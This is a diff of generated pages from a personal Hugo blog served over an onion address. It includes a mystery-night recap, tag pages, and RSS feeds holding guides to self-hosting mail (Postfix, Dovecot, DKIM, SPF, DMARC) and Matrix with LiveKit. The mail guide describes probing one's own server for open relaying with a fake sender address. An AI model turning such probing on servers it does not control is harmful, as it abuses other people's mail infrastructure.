    Claudia wasn’t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?

    +

    The prostitute then continued. “Sergio is not Benito’s son”. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito’s son. Benito smiled. “Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.”

    +

    Sergio did not smile, or any changes in his face. He was ice-cold.

    +

    It was still not clear who plotted to kill Salvatore. Everyone was confused.

    +

    It was time for deduction.

    +

    Act V, the killer(s)

    +

    After a long discussion between all the family members, these were the conclusions.

    +

    It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti’s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.

    +

    Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.

    +

    If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family’s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?

    +

    Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like “The Moretti” way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore’s money, as with all ties broken, no one would suspect he was Salvatore’s son. Nicoletta would also not talk, as she would lose everything if she confessed.

    +

    Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn’t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti’s side.

    +

    It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?

    +

    Sophia was just disappointed with all of this. She didn’t budge.

    +

    The epilogue

    +

    Most people weren’t sharing what they knew not to become sus! I didn’t talk to everyone, but for example, the person who played Santo’s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I’m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren’t presenting everything they knew.

    +

    Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm+
    +bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d
    +ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p
    +zr6zHOniJ1aCSju8WS28cUMjNz+xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj
    +3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x
    +4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN+q2hB6Bu1tndVPH
    +qIrSt7ykMhhDYz6A6MzXkwIKG+lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ
    +nh4a+E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o+Ymxp
    +Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T
    +QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC
    +AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw=
    +=3iUy
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md.asc
    +gpg --verify murder_mystery_night.md.asc murder_mystery_night.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/mafia/page/1/index.html b/public-onion/tags/mafia/page/1/index.html new file mode 100644 index 0000000..ea08f14 --- /dev/null +++ b/public-onion/tags/mafia/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/mafia/ + + + + + + diff --git a/public-onion/tags/mail/index.html b/public-onion/tags/mail/index.html new file mode 100644 index 0000000..ad5d62e --- /dev/null +++ b/public-onion/tags/mail/index.html @@ -0,0 +1,354 @@ + + + + + + + +Mail | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) +

    +
    +
    +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    +
    +
    July 24, 2026 · 17 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/mail/index.xml b/public-onion/tags/mail/index.xml new file mode 100644 index 0000000..1353dfc --- /dev/null +++ b/public-onion/tags/mail/index.xml @@ -0,0 +1,154 @@ + + + + Mail on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/mail/ + Recent content in Mail on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). + +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/mail/page/1/index.html b/public-onion/tags/mail/page/1/index.html new file mode 100644 index 0000000..f016174 --- /dev/null +++ b/public-onion/tags/mail/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/mail/ + + + + + + diff --git a/public-onion/tags/matrix/index.html b/public-onion/tags/matrix/index.html new file mode 100644 index 0000000..6f00a43 --- /dev/null +++ b/public-onion/tags/matrix/index.html @@ -0,0 +1,357 @@ + + + + + + + +Matrix | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    + Matrix, Signal but distributed +
    +
    +

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) +

    +
    +
    +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    +
    +
    August 26, 2025 · 8 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/matrix/index.xml b/public-onion/tags/matrix/index.xml new file mode 100644 index 0000000..8383dc3 --- /dev/null +++ b/public-onion/tags/matrix/index.xml @@ -0,0 +1,370 @@ + + + + Matrix on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/matrix/ + Recent content in Matrix on AlipourIm journeys + Hugo -- 0.146.0 + en + Tue, 26 Aug 2025 00:00:00 +0000 + + + Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + Tue, 26 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. + +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
